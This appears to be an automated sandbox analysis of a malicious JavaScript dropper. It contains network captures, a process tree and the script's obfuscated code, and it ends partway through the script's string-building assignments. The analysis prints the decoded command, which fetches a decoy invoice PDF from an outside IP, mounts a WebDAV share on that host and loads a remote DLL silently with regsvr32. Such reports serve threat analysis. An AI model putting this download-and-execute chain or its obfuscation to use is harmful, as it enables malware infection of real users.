Jan 11, 2025 08:14:50.871483088 CET	1.1.1.1	192.168.2.4	0x7699	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7640	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:14:35.364954948 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:14:36.167901993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:14:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:14:36.167958975 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:14:36.167970896 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:14:36.168076992 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:14:36.168137074 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:14:36.168149948 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:14:36.168307066 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 08:14:36.168318987 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 08:14:36.168329954 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 08:14:36.168344975 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 11, 2025 08:14:36.227883101 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7940	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:14:37.889589071 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:14:38.671299934 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:14:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:14:32
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js"
Imagebase:	0x7ff62e140000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:14:32
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Imagebase:	0x7ff638780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:14:32
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:14:32
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:14:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:14:37
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff638780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:14:37
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61c940000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:14:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:14:38
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:14:38
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1704,i,4832962605628790638,17598048505237952918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vduhs() {	vduhs() ➔ undefined
1	dsjfdglqy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xgqjqx = this[qercya + pjxsdqay + bcvyml + mlrmkg + segsqik + pengrxc + cylhdcxl + slhab] ( this[ovzcix + mtxvbnr + wguvjrki + bcvyml + mnbqz + qercya + slhab][yvmzrc + bcvyml + segsqik + pjxsdqay + slhab + segsqik + qpsaio + mhghp + yhjpeuadi + segsqik + wguvjrki + slhab] ( ovzcix + mtxvbnr + wguvjrki + bcvyml + mnbqz + qercya + slhab + stoaanh + mtxvbnr + amzxrayq + segsqik + tuxfukpa + tuxfukpa ) [sbiorxihd + segsqik + fktbhkjpl + sbiorxihd + segsqik + pjxsdqay + magcxbv] ( hahoa + yrckk + vdkwv + ycuns + dqvjn + yvmzrc + rbodewq + sbiorxihd + sbiorxihd + vdkwv + hplktq + vcjyvgqxu + dqvjn + rbodewq + mtxvbnr + vdkwv + sbiorxihd + rtvak + yvmzrc + fegnsde + cylhdcxl + slhab + bcvyml + fegnsde + tuxfukpa + guaxfhak + eqymz + pjxsdqay + cylhdcxl + segsqik + tuxfukpa + rtvak + pengrxc + cylhdcxl + slhab + segsqik + bcvyml + cylhdcxl + pjxsdqay + slhab + mnbqz + fegnsde + cylhdcxl + pjxsdqay + tuxfukpa + rtvak + nkgfhcr + fegnsde + wguvjrki + pjxsdqay + tuxfukpa + segsqik ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bwlcqai = 0 ; bwlcqai < dsjfdglqy[tuxfukpa + segsqik + cylhdcxl + fktbhkjpl + slhab + amzxrayq] ; ++ bwlcqai )
4	{
5	if ( xgqjqx == dsjfdglqy[bwlcqai] )
6	{
7	xgqjqx = true;
8	break ;
9	}
10	}
11	if ( xgqjqx !== true )
12	this[ovzcix + mtxvbnr + wguvjrki + bcvyml + mnbqz + qercya + slhab][sjgxunt + cmwuz + mnbqz + slhab] ( );
13	this[ovzcix + mtxvbnr + wguvjrki + bcvyml + mnbqz + qercya + slhab][yvmzrc + bcvyml + segsqik + pjxsdqay + slhab + segsqik + qpsaio + mhghp + yhjpeuadi + segsqik + wguvjrki + slhab] ( ovzcix + mtxvbnr + wguvjrki + bcvyml + mnbqz + qercya + slhab + stoaanh + mtxvbnr + amzxrayq + segsqik + tuxfukpa + tuxfukpa ) [bcvyml + cmwuz + cylhdcxl] ( wguvjrki + jecreck + magcxbv + guaxfhak + zhwmgoi + wguvjrki + guaxfhak + qercya + fegnsde + euohkw + segsqik + bcvyml + mlrmkg + amzxrayq + segsqik + tuxfukpa + tuxfukpa + stoaanh + segsqik + ddmxgxiy + segsqik + guaxfhak + rdqhv + yvmzrc + fegnsde + jecreck + jecreck + pjxsdqay + cylhdcxl + magcxbv + guaxfhak + caczu + pengrxc + cylhdcxl + xramwwqv + fegnsde + fqrrf + segsqik + rdqhv + ovzcix + segsqik + mhghp + sbiorxihd + segsqik + obrnck + cmwuz + segsqik + mlrmkg + slhab + guaxfhak + rdqhv + qpsaio + cmwuz + slhab + kearps + mnbqz + tuxfukpa + segsqik + guaxfhak + bycmv + slhab + segsqik + jecreck + qercya + bycmv + rtvak + mnbqz + cylhdcxl + xramwwqv + fegnsde + mnbqz + wguvjrki + segsqik + stoaanh + qercya + magcxbv + nkanabtry + guaxfhak + amzxrayq + slhab + slhab + qercya + lenlscm + zhwmgoi + zhwmgoi + efqojsi + ymqntus + zswysvs + stoaanh + efqojsi + syajfd + zswysvs + stoaanh + efqojsi + stoaanh + khoeofr + vacgamrxj + opoksflrl + zhwmgoi + mnbqz + cylhdcxl + xramwwqv + fegnsde + mnbqz + wguvjrki + segsqik + stoaanh + qercya + amzxrayq + qercya + caczu + qxeqbqt + qxeqbqt + mlrmkg + slhab + pjxsdqay + bcvyml + slhab + guaxfhak + bycmv + slhab + segsqik + jecreck + qercya + bycmv + rtvak + mnbqz + cylhdcxl + xramwwqv + fegnsde + mnbqz + wguvjrki + segsqik + stoaanh + qercya + magcxbv + nkanabtry + qxeqbqt + qxeqbqt + wguvjrki + jecreck + magcxbv + guaxfhak + zhwmgoi + wguvjrki + guaxfhak + cylhdcxl + segsqik + slhab + guaxfhak + cmwuz + mlrmkg + segsqik + guaxfhak + rtvak + rtvak + efqojsi + ymqntus + zswysvs + stoaanh + efqojsi + syajfd + zswysvs + stoaanh + efqojsi + stoaanh + khoeofr + vacgamrxj + opoksflrl + qnabm + pfjuenoxf + pfjuenoxf + pfjuenoxf + pfjuenoxf + rtvak + magcxbv + pjxsdqay + xramwwqv + euohkw + euohkw + euohkw + bcvyml + fegnsde + fegnsde + slhab + rtvak + qxeqbqt + qxeqbqt + wguvjrki + jecreck + magcxbv + guaxfhak + zhwmgoi + wguvjrki + guaxfhak + bcvyml + segsqik + fktbhkjpl + mlrmkg + xramwwqv + bcvyml + zswysvs + khoeofr + guaxfhak + zhwmgoi + mlrmkg + guaxfhak + rtvak + rtvak + efqojsi + ymqntus + zswysvs + stoaanh + efqojsi + syajfd + zswysvs + stoaanh + efqojsi + stoaanh + khoeofr + vacgamrxj + opoksflrl + qnabm + pfjuenoxf + pfjuenoxf + pfjuenoxf + pfjuenoxf + rtvak + magcxbv + pjxsdqay + xramwwqv + euohkw + euohkw + euohkw + bcvyml + fegnsde + fegnsde + slhab + rtvak + lrvlxcnu + khoeofr + opoksflrl + lrvlxcnu + khoeofr + efqojsi + opoksflrl + pfjuenoxf + lisniszlq + lisniszlq + zswysvs + zswysvs + efqojsi + stoaanh + magcxbv + tuxfukpa + tuxfukpa, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll",0,false) ➔ 0
14	}
15	xramwwqv = "n";
16	xramwwqv = "t";
17	xramwwqv = "G";
18	xramwwqv = "C";
19	xramwwqv = "F";
20	xramwwqv = "k";
21	xramwwqv = "I";
22	xramwwqv = "M";
23	xramwwqv = "G";
24	xramwwqv = "v";
25	xramwwqv = "b";
26	xramwwqv = "q";
27	xramwwqv = "U";
28	xramwwqv = "G";
29	xramwwqv = "w";
30	xramwwqv = "P";
31	xramwwqv = "A";
32	xramwwqv = "q";
33	xramwwqv = "B";
34	xramwwqv = "J";
35	xramwwqv = "b";
36	xramwwqv = "S";
37	xramwwqv = "C";
38	xramwwqv = "Z";
39	xramwwqv = "H";
40	xramwwqv = "d";
41	xramwwqv = "v";
42	mhghp = "b";
43	pjxsdqay = "G";
44	pjxsdqay = "o";
45	pjxsdqay = "L";
46	pjxsdqay = "W";
47	pjxsdqay = "r";
48	pjxsdqay = "v";
49	pjxsdqay = "M";
50	pjxsdqay = "x";
51	pjxsdqay = "M";
52	pjxsdqay = "o";
53	pjxsdqay = "p";
54	pjxsdqay = "X";
55	pjxsdqay = "T";
56	pjxsdqay = "Y";
57	pjxsdqay = "Z";
58	pjxsdqay = "E";
59	pjxsdqay = "u";
60	pjxsdqay = "q";
61	pjxsdqay = "a";
62	pjxsdqay = "R";
63	pjxsdqay = "b";
64	pjxsdqay = "a";
65	pfjuenoxf = "H";
66	pfjuenoxf = "K";
67	pfjuenoxf = "F";
68	pfjuenoxf = "r";
69	pfjuenoxf = "D";
70	pfjuenoxf = "i";
71	pfjuenoxf = "e";
72	pfjuenoxf = "T";
73	pfjuenoxf = "N";
74	pfjuenoxf = "b";
75	pfjuenoxf = "t";
76	pfjuenoxf = "f";
77	pfjuenoxf = "S";
78	pfjuenoxf = "t";
79	pfjuenoxf = "u";
80	pfjuenoxf = "F";
81	pfjuenoxf = "E";
82	pfjuenoxf = "I";
83	pfjuenoxf = "r";
84	pfjuenoxf = "I";
85	pfjuenoxf = "G";
86	pfjuenoxf = "V";
87	pfjuenoxf = "l";
88	pfjuenoxf = "S";
89	pfjuenoxf = "z";
90	pfjuenoxf = "Y";
91	pfjuenoxf = "J";
92	pfjuenoxf = "m";
93	pfjuenoxf = "X";
94	pfjuenoxf = "e";
95	pfjuenoxf = "l";
96	pfjuenoxf = "L";
97	pfjuenoxf = "x";
98	pfjuenoxf = "H";
99	pfjuenoxf = "r";
100	pfjuenoxf = "v";
101	pfjuenoxf = "j";
102	pfjuenoxf = "v";
103	pfjuenoxf = "B";
104	pfjuenoxf = "p";
105	pfjuenoxf = "A";
106	pfjuenoxf = "d";
107	pfjuenoxf = "s";
108	pfjuenoxf = "8";
109	vdkwv = "f";
110	vdkwv = "j";
111	vdkwv = "d";
112	vdkwv = "L";
113	vdkwv = "a";
114	vdkwv = "a";
115	vdkwv = "X";
116	vdkwv = "H";
117	vdkwv = "e";
118	vdkwv = "G";
119	vdkwv = "e";
120	vdkwv = "R";
121	vdkwv = "d";
122	vdkwv = "d";
123	vdkwv = "o";
124	vdkwv = "D";
125	vdkwv = "Q";
126	vdkwv = "E";
127	vdkwv = "D";
128	vdkwv = "E";
129	vdkwv = "E";
130	tuxfukpa = "V";
131	tuxfukpa = "C";
132	tuxfukpa = "Q";
133	tuxfukpa = "s";
134	tuxfukpa = "C";
135	tuxfukpa = "d";
136	tuxfukpa = "T";
137	tuxfukpa = "o";
138	tuxfukpa = "r";
139	tuxfukpa = "v";
140	tuxfukpa = "P";
141	tuxfukpa = "y";
142	tuxfukpa = "X";
143	tuxfukpa = "L";
144	tuxfukpa = "Y";
145	tuxfukpa = "h";
146	tuxfukpa = "V";
147	tuxfukpa = "Q";
148	tuxfukpa = "X";
149	tuxfukpa = "t";
150	tuxfukpa = "X";
151	tuxfukpa = "j";
152	tuxfukpa = "n";
153	tuxfukpa = "l";
154	opoksflrl = "U";
155	opoksflrl = "q";
156	opoksflrl = "Q";
157	opoksflrl = "C";
158	opoksflrl = "P";
159	opoksflrl = "i";
160	opoksflrl = "n";
161	opoksflrl = "5";
162	lenlscm = "Y";
163	lenlscm = "K";
164	lenlscm = "M";
165	lenlscm = "x";
166	lenlscm = "B";
167	lenlscm = ":";
168	cylhdcxl = "J";
169	cylhdcxl = "U";
170	cylhdcxl = "R";
171	cylhdcxl = "B";
172	cylhdcxl = "F";
173	cylhdcxl = "t";
174	cylhdcxl = "H";
175	cylhdcxl = "w";
176	cylhdcxl = "S";
177	cylhdcxl = "n";
178	cylhdcxl = "g";
179	cylhdcxl = "P";
180	cylhdcxl = "a";
181	cylhdcxl = "t";
182	cylhdcxl = "e";
183	cylhdcxl = "N";
184	cylhdcxl = "H";
185	cylhdcxl = "n";
186	guaxfhak = "y";
187	guaxfhak = "T";
188	guaxfhak = "B";
189	guaxfhak = "v";
190	guaxfhak = "e";
191	guaxfhak = "H";
192	guaxfhak = "s";
193	guaxfhak = "E";
194	guaxfhak = "P";
195	guaxfhak = "y";
196	guaxfhak = "A";
197	guaxfhak = "D";
198	guaxfhak = "Q";
199	guaxfhak = "g";
200	guaxfhak = "E";
201	guaxfhak = "x";
202	guaxfhak = "B";
203	guaxfhak = "O";
204	guaxfhak = "m";
205	guaxfhak = "B";
206	guaxfhak = "f";
207	guaxfhak = "y";
208	guaxfhak = "s";
209	guaxfhak = " ";
210	lisniszlq = "a";
211	lisniszlq = "m";
212	lisniszlq = "n";
213	lisniszlq = "g";
214	lisniszlq = "H";
215	lisniszlq = "Y";
216	lisniszlq = "B";
217	lisniszlq = "s";
218	lisniszlq = "g";
219	lisniszlq = "I";
220	lisniszlq = "Y";
221	lisniszlq = "c";
222	lisniszlq = "B";
223	lisniszlq = "a";
224	lisniszlq = "e";
225	lisniszlq = "T";
226	lisniszlq = "r";
227	lisniszlq = "p";
228	lisniszlq = "k";
229	lisniszlq = "p";
230	lisniszlq = "l";
231	lisniszlq = "N";
232	lisniszlq = "n";
233	lisniszlq = "j";
234	lisniszlq = "Y";
235	lisniszlq = "V";
236	lisniszlq = "Y";
237	lisniszlq = "e";
238	lisniszlq = "O";
239	lisniszlq = "E";
240	lisniszlq = "I";
241	lisniszlq = "u";
242	lisniszlq = "L";
243	lisniszlq = "s";
244	lisniszlq = "y";
245	lisniszlq = "7";
246	dqvjn = "e";
247	dqvjn = "X";
248	dqvjn = "G";
249	dqvjn = "y";
250	dqvjn = "z";
251	dqvjn = "o";
252	dqvjn = "i";
253	dqvjn = "J";
254	dqvjn = "O";
255	dqvjn = "y";
256	dqvjn = "N";
257	dqvjn = "z";
258	dqvjn = "j";
259	dqvjn = "c";
260	dqvjn = "U";
261	dqvjn = "Z";
262	dqvjn = "O";
263	dqvjn = "s";
264	dqvjn = "V";
265	dqvjn = "A";
266	dqvjn = "y";
267	dqvjn = "R";
268	dqvjn = "D";
269	dqvjn = "o";
